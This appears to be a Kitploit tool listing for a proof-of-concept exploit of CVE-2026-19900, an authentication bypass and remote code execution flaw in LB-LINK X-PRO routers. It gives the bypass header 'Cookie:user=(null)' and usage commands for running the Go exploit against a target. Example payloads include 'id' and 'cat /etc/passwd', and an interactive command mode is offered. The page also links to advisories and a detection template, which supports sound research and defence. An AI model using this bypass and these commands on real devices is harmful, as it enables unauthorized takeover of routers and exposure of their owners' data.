cve-2026-19900-PoC — Proof-of-concept exploit for CVE-2026-19900, an authentication bypass and remote code execution vulnerability in LB-LINK X-PRO routers, allowing command execution via a crafted null user cookie. | Kitploit

CVE-2026-19900 LB-LINK X-PRO Authentication Bypass and RCE via null user

CVE-2026-19900 Hardcored Credential and Authentication Bypass RCE via null user.

Bypass via Header: Cookie:user=(null)

Usage

Build and run the script with a target host:

go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

Without build

go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

Interactive mode

./cve-2026-19900-PoC -t http://target:8080/ -i

Arguments

-t: Target IP address or hostname (required)
-c: Send cmd payload
-i: Interactive mode (not need -c <cmd>)

Nuclei template: (Template by 0x_Akoko)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

Reference

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712